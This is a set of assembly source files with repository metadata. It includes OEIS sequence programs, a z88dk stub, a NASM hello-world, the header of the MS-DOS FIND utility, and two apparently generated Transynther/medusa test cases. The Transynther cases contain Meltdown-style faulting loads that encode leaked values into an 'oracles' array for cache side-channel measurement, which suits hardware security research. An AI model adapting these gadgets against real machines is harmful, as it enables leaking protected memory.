.byte $00, $00, $0F, $03, $01, $E4, $05, $02, $F2, $06, $03, $F1, $05, $04, $E3, $06
.byte $06, $F1, $07, $07, $F0, $07, $08, $F1, $07, $09, $E0, $04, $0A, $E2, $05, $0C
.byte $E2, $03, $0E, $E5, $63, $02, $10, $65, $05, $10, $67, $0A, $10, $64, $0B, $10
.byte $65, $0D, $10, $00, $00, $4B, $00, $0F, $4B, $0A, $03, $59, $0A, $01, $61, $0A
.byte $04, $61, $0A, $07, $61, $0A, $0A, $61, $0A, $0D, $61, $FF
| 50.4375
| 85
| 0.610905
|
e10a534eceb5240c0114fc8bd72ea21362a59cf0
| 8,447
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_866.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_866.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_866.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x6f7b, %rsi
lea addresses_normal_ht+0x137bb, %rdi
clflush (%rsi)
nop
nop
nop
xor $59165, %r10
mov $12, %rcx
rep movsb
nop
nop
nop
nop
and %r8, %r8
lea addresses_WC_ht+0x83bb, %r12
nop
sub $40805, %r14
movb (%r12), %cl
add %r8, %r8
lea addresses_D_ht+0x47bb, %rcx
cmp %rsi, %rsi
movw $0x6162, (%rcx)
nop
nop
xor $45760, %r10
lea addresses_D_ht+0x7d13, %rsi
lea addresses_D_ht+0x1a3bb, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add $60921, %r10
mov $11, %rcx
rep movsq
nop
nop
sub %r8, %r8
lea addresses_D_ht+0x195c3, %rsi
lea addresses_normal_ht+0x93bb, %rdi
nop
nop
nop
add $41840, %r12
mov $97, %rcx
rep movsw
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0x194bb, %r10
nop
nop
sub $29762, %r14
mov (%r10), %ecx
add $6594, %rcx
lea addresses_normal_ht+0xd9bb, %rsi
lea addresses_A_ht+0x1157b, %rdi
nop
nop
nop
nop
sub %rax, %rax
mov $118, %rcx
rep movsl
nop
nop
nop
inc %r8
lea addresses_WT_ht+0x1bb, %rsi
lea addresses_WT_ht+0x93bb, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $117, %rcx
rep movsl
add %rdi, %rdi
lea addresses_WT_ht+0x172b1, %r14
nop
nop
nop
nop
cmp $41308, %rsi
mov (%r14), %eax
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_A_ht+0xf63b, %r10
nop
nop
add $21073, %rsi
mov (%r10), %r12
nop
nop
nop
nop
nop
sub $56920, %rsi
lea addresses_WC_ht+0xe3bb, %rsi
lea addresses_D_ht+0x1d905, %rdi
xor $21552, %r8
mov $88, %rcx
rep movsl
nop
cmp $5617, %rsi
lea addresses_WT_ht+0x1abbb, %rsi
lea addresses_normal_ht+0x9d3b, %rdi
clflush (%rdi)
cmp $29071, %rax
mov $82, %rcx
rep movsl
xor %rcx, %rcx
lea addresses_D_ht+0x563b, %rsi
lea addresses_WC_ht+0xdcbb, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $44, %rcx
rep movsq
xor $20821, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdx
// Store
lea addresses_UC+0x129bb, %rax
add %r9, %r9
movb $0x51, (%rax)
nop
nop
nop
nop
dec %rax
// Store
lea addresses_UC+0x1e45b, %rcx
nop
nop
nop
nop
dec %rax
mov $0x5152535455565758, %r13
movq %r13, (%rcx)
// Exception!!!
nop
nop
nop
nop
mov (0), %r14
xor %r14, %r14
// Store
lea addresses_normal+0xebbb, %rdx
nop
nop
nop
nop
and %rbp, %rbp
movb $0x51, (%rdx)
and $40484, %r13
// Store
lea addresses_normal+0x163bb, %rdx
nop
nop
and %rbp, %rbp
movl $0x51525354, (%rdx)
nop
nop
nop
nop
add %r9, %r9
// Faulty Load
lea addresses_A+0x153bb, %r13
nop
nop
nop
nop
nop
dec %rdx
movntdqa (%r13), %xmm1
vpextrq $1, %xmm1, %rcx
lea oracles, %r13
and $0xff, %rcx
shlq $12, %rcx
mov (%r13,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_normal', 'AVXalign': True, 'size': 4}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'44': 4337, '46': 5101, '49': 1542, '00': 4759, '48': 6088, '08': 2}
46 46 46 44 44 00 44 00 48 48 00 48 44 46 46 44 46 00 46 46 46 00 44 00 46 46 00 46 46 48 49 00 44 00 44 44 00 44 46 49 46 46 46 44 00 46 46 49 46 00 49 00 49 49 49 00 44 44 49 00 46 00 44 46 46 00 00 49 44 00 00 49 46 00 49 44 49 48 44 49 46 00 46 49 49 00 46 49 44 44 49 46 46 44 00 44 44 46 00 46 00 46 00 44 49 49 00 00 44 44 46 46 00 44 00 44 46 46 44 44 46 49 46 00 46 00 46 48 46 48 00 48 00 44 48 46 00 48 00 48 46 48 48 48 48 48 44 46 46 48 00 44 00 48 46 00 00 00 48 00 44 00 48 48 48 46 00 48 48 44 48 48 48 48 48 44 48 00 00 48 00 46 00 48 44 00 44 48 48 48 46 48 46 44 48 48 00 44 46 48 46 48 48 48 48 48 00 48 48 44 48 46 00 48 48 44 44 00 48 44 00 00 49 49 00 46 00 46 00 46 00 49 00 49 46 00 46 49 46 49 00 00 44 46 46 00 00 46 44 00 00 00 44 46 46 00 44 49 44 44 44 49 49 46 46 44 46 44 46 49 46 00 00 44 49 46 46 44 46 49 44 00 44 46 44 44 00 00 00 44 44 49 44 44 49 49 00 46 46 44 46 49 49 44 46 46 00 44 49 49 46 44 44 49 49 46 46 49 46 44 44 49 00 00 00 44 44 44 44 46 44 44 46 44 48 46 00 48 46 48 46 00 44 00 46 46 00 00 48 48 46 46 46 46 44 00 46 46 48 00 48 46 00 48 44 44 46 48 46 44 48 00 48 46 48 44 48 48 48 00 46 44 48 48 46 46 48 48 46 48 44 00 48 46 48 44 46 44 46 46 44 46 46 44 48 00 48 48 48 46 48 00 46 48 48 46 00 48 44 44 00 00 44 48 48 00 48 46 46 49 46 44 46 44 00 00 49 00 00 49 00 46 46 49 46 46 46 49 49 46 00 49 46 49 46 48 44 46 44 44 46 46 46 49 46 46 44 49 44 46 49 44 49 49 44 46 49 49 00 49 44 46 49 46 46 46 46 44 44 44 44 44 49 49 48 48 48 48 46 00 49 49 49 44 00 00 44 00 49 46 46 00 49 46 44 00 00 44 46 49 44 49 46 44 49 49 46 46 00 46 44 49 46 00 46 00 46 00 49 00 46 49 00 49 46 44 00 46 46 00 00 49 00 00 46 46 49 00 46 46 46 46 46 00 44 49 49 46 49 49 44 00 46 49 44 46 00 44 44 00 46 46 44 00 44 00 46 46 46 46 46 46 44 44 48 46 00 48 48 48 48 48 00 46 48 00 44 48 46 48 00 48 46 48 48 48 48 00 46 48 48 48 44 44 48 48 00 48 48 44 46 48 46 00 44 48 46 46 44 48 00 48 00 44 48 48 46 48 44 00 48 48 48 48 00 48 00 48 46 00 44 00 00 46 44 46 48 44 00 46 44 48 48 49 00 48 00 46 46 48 46 48 48 48 46 00 44 48 46 48 48 46 48 48 48 48 00 48 00 00 00 00 48 46 48 00 00 44 48 00 46 48 00 44 48 48 44 44 46 48 44 48 46 48 48 44 00 00 48 48 44 48 48 00 48 46 00 44 48 48 00 00 44 44 00 48 46 46 48 48 00 44 48 46 46 44 46 48 48 44 00 48 48 48 48 00 48 48 00 00 00 00 48 00 00 48 48 44 46 46 48 46 48 48 48 48 48 00 48 48 48 00 44 00 46 44 48 48 48 48 48 00 48 44 48 46 46 00 48 48 48 44 48 46 48 48 46 00 44 48 48 46 44 46 48 48 44 46 48 00 48 48 48 46 48 48 46 00 44 00 48 48 48 46 48 00 44 44 48 46 44 46 48 46 48 46 48 48 48 48 48 44 48 00 46 49 00 00 44 46 46 46 46 46 46 44 00 00 49 49 00 46 46 46 49 49 49 49 46 46 44 49 46 00 44 44 49 00 44 00 46 44 44 49 49 44 49 49 44 49 49 44 00 00 44 44 44 00 44 00 00 46 00 00 44 46 00 48 44 48 00 44 48 00 44 46 00 46 48 48 46 46 44 44 00 46 00 46 00 44 44 48 44 44 00 48 48 48 44 48 00 00 48 00 46 00 00 00 48 00 46 48 48 46 44 46 44 00 48 44 48 46 48 48 48 48 00 44 48 00 00 48 48 00 48 46 00 44 44 44
*/
| 32.488462
| 2,999
| 0.65467
|
11d5205bc0a9c86b16df6ca5afd99b8d4abfd86f
| 386
|
asm
|
Assembly
|
oeis/020/A020970.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/020/A020970.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/020/A020970.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A020970: Expansion of 1/((1-7*x)*(1-9*x)*(1-10*x)).
; Submitted by Jon Maiga
; 1,26,453,6610,87221,1079106,12770773,146348690,1637020341,17972357986,194425446293,2078548587570,22007974284661,231179027537666,2412362060669013,25033514235831250,258557417951152181
add $0,2
lpb $0
sub $0,1
max $2,26
mul $2,7
mul $3,9
add $3,$1
mul $1,10
add $1,$2
lpe
mov $0,$3
div $0,182
| 22.705882
| 183
| 0.709845
|
cd3d0d4234369980e1b46c348424e201b589f36f
| 183
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_pop_back.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_pop_back.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_pop_back.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; int b_vector_pop_back(b_vector_t *v)
SECTION code_clib
SECTION code_adt_b_vector
PUBLIC _b_vector_pop_back
EXTERN _b_array_pop_back
defc _b_vector_pop_back = _b_array_pop_back
| 15.25
| 43
| 0.857923
|
80d8842354f9c383729870c216dbd0fbb5fff6ef
| 223
|
asm
|
Assembly
|
src/tutorialspoint.com/src/example.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
src/tutorialspoint.com/src/example.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
src/tutorialspoint.com/src/example.asm
|
ishirshov/NASM-tutorial-for-Unix
|
75173993e35e29bce1c04908573cc034ff32363e
|
[
"Apache-2.0"
] | null | null | null |
section .text
global _start
_start:
mov edx, len
mov ecx, msg
mov ebx, 1
mov eax, 4
int 0x80
mov eax, 1
int 0x80
section .data
msg db 'Hello, low level world!', 0xa
len equ $ - msg
| 13.9375
| 41
| 0.573991
|
df9a54883e299e3ead7cb269e13deb28b21037bc
| 5,795
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_43.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_43.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_43.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rax
push %rbp
push %rbx
push %rdi
push %rdx
lea addresses_UC_ht+0x86ed, %rbx
nop
nop
nop
nop
nop
xor $271, %rbp
and $0xffffffffffffffc0, %rbx
movntdqa (%rbx), %xmm0
vpextrq $1, %xmm0, %rdx
cmp $25207, %r8
lea addresses_normal_ht+0x15851, %r8
add %r13, %r13
movb (%r8), %al
nop
nop
nop
inc %r13
lea addresses_WT_ht+0xc5d1, %rbp
nop
nop
nop
nop
dec %r13
movb (%rbp), %r8b
xor $45514, %rbp
lea addresses_D_ht+0x9d91, %r13
and %rdi, %rdi
movups (%r13), %xmm6
vpextrq $0, %xmm6, %rbp
nop
nop
nop
nop
nop
and %r8, %r8
lea addresses_A_ht+0xd051, %rbx
and $32424, %rdx
mov (%rbx), %r8d
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_D_ht+0x2251, %rax
clflush (%rax)
nop
nop
nop
nop
dec %rbp
mov $0x6162636465666768, %r13
movq %r13, %xmm4
vmovups %ymm4, (%rax)
nop
and $17914, %rbp
lea addresses_WC_ht+0xca6f, %rdi
cmp $46553, %r8
movups (%rdi), %xmm7
vpextrq $1, %xmm7, %rdx
nop
nop
cmp %rbx, %rbx
lea addresses_normal_ht+0x10251, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
sub $35982, %rdi
movl $0x61626364, (%rbp)
nop
add $24096, %r13
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbp
push %rbx
push %rdi
// Faulty Load
lea addresses_US+0x16a51, %rdi
nop
sub $40561, %rbx
mov (%rdi), %r11w
lea oracles, %rbx
and $0xff, %r11
shlq $12, %r11
mov (%rbx,%r11,1), %r11
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 42.610294
| 2,999
| 0.656601
|
f364f9691dceb2145a39c2814a67ee23fdd31910
| 421
|
asm
|
Assembly
|
programs/oeis/069/A069584.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/069/A069584.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/069/A069584.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A069584: a(n) = n - largest perfect power <= n.
; 0,1,2,0,1,2,3,0,0,1,2,3,4,5,6,0,1,2,3,4,5,6,7,8,0,1,0,1,2,3,4,0,1,2,3,0,1,2,3,4,5,6,7,8,9,10,11,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
lpb $0
mov $2,$0
seq $2,132350 ; If n > 1 is a k-th power with k >= 2 then a(n) = 0, otherwise a(n) = 1.
sub $0,$2
pow $3,0
add $1,$3
lpe
mov $0,$1
| 35.083333
| 211
| 0.539192
|
8c4a8ce3849193217453853f6360899750e08165
| 62,134
|
asm
|
Assembly
|
cmd/find/find.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/find/find.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/find/find.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
page ,132
title DOS FIND Utility
; 0
;********************************************************************
;*
;* UTILITY NAME: find.exe
;*
;* SOURCE FILE NAME: find.asm
;*
;* STATUS: Find utility, DOS Version 4.0
;*
;* SYNTAX (Command line)
;*
;* FIND [/V][/C][/N][/I] "string" [[d:][path]filename[.ext]...]
;*
;* where:
;*
;* /V - Display all lines NOT containing the string
;* /C - Display only a count of lines containing string
;* /N - Display number of line containing string
;* /I - Ignore case
;*
;* UTILITY FUNCTION:
;*
;* Searches the specified file(s) looking for the string the user
;* entered from the command line. If file name(s) are specifeied,
;* those names are displayed, and if the string is found, then the
;* entire line containing that string will be displayed. Optional
;* parameters modify that behavior and are described above. String
;* arguments have to be enclosed in double quotes. (Two double quotes
;* if a double quote is to be included). Only one string argument is
;* presently allowed. The maximum line size is determined by buffer
;* size. Bigger lines will bomb the program. If no file name is given
;* then it will asssume the input is coming from the standard Input.
;* No errors are reported when reading from standard Input.
;*
;*
;* EXIT:
;* The program returns errorlevel:
;* 0 - OK, and some matches
;* 1 - OK, but no matches
;* 2 - Some Error
;*
;*
;* Revision History:
;*
;* V1.1 8/23/82 M.A.U. (Microsoft)
;*
;* V1.2 9/22/82 M.A.U. (Microsoft)
;* Added the -c and -n options
;*
;* 9/23/82 M.A.U. (Microsoft)
;* Added DOS version number control
;*
;* 10/07/82 Rev.2 M.A.U. (Microsoft)
;* Changed quote for double quotes, and added
;* file name printing
;*
;* 10/20/82 Rev.3 M.A.U. (Microsoft)
;* Modified IBM name to FIND, and changed the text
;* of some messages.
;*
;* 10/25/82 Rev.4 M.A.U. (Microsoft)
;* Changed name to FIND and all messages to the
;* IBM form.
;*
;* 10/27/82 Rev.5 M.A.U. (Microsoft)
;* Made the correct exit on version check in case
;* of a 1.x DOS.
;*
;* 11/4/82 Rev. 5 A.R. Reynolds (Microsoft)
;* Messages moved to external module
;*
;* 11/10/82 Rev. 6 M.A. U. (Microsoft)
;* Corrected problem with line numbers, and a problem
;* with seeking for 0 chars.
;*
;* 03/30/83 Rev. 7 M.A. U. (Microsoft)
;* Added patch area for bug fixing.
;*
;* 04/14/83 Rev. 8 M.A. U. (Microsoft)
;* Made changes for Kanji characters. (ugh!)
;*
;* 12/17/84 Rev. 9 Zibo (Microsoft)
;* Fix boundary case for buffer containing exact line
;*
;* V4.0 : 6/29/87 Russ W (IBM)
;* Lines commented with ;AN000;
;* Add support for IBM Parse service routines
;* Add support for IBM Message Retriever Service Routines
;* Add support for Code Page File Tags
;* Made PROCs out of all labels that were targets of a call (not commented with AN000)
;* Removed patch area for "bug fixing"
;*
;* V4.0 : 9/15/87 Bill L, (IBM)
;* ;AN001; = DCR 201, changes to extended attributes support
;* ;AN002; = PTM 1090
;* ;AN003; = DCR 191
;* ;AN004; = PTM 1630
;* ;AN005; = PTM 1643, PTM 1675, PTM 1754
;* ;AN006; = DBCS support
;* ;AN007; = Optimizations to save disk space on ship diskettes
;*
;* V5.0 : 8/9/90
;* M01 SA Modified parser parameter block used by pre-parse
;* so that switches within strings are not recognized.
;* Modified pre-parse routine so that it continues
;* parsing if a string or file-spec is identified.
;*
;* M002 MD Improved segment usage, added international
;* upper casing, fixed /I bug. Not all changes
;* marked.
;*
;* V6.0 : 10/19/92
;* MD Got return code working
;*
;**********************************************************************
;--------------------------
;- MACRO DEFINITIONS
;--------------------------
BREAK MACRO subtitle
SUBTTL subtitle
PAGE
ENDM
;---------------------------;
;- INCLUDE FILES ;
;---------------------------;
.xlist ;
.xcref ;
INCLUDE SYSCALL.INC ;
INCLUDE sysmsg.inc ; ;AN000; Include message equates and MACROS
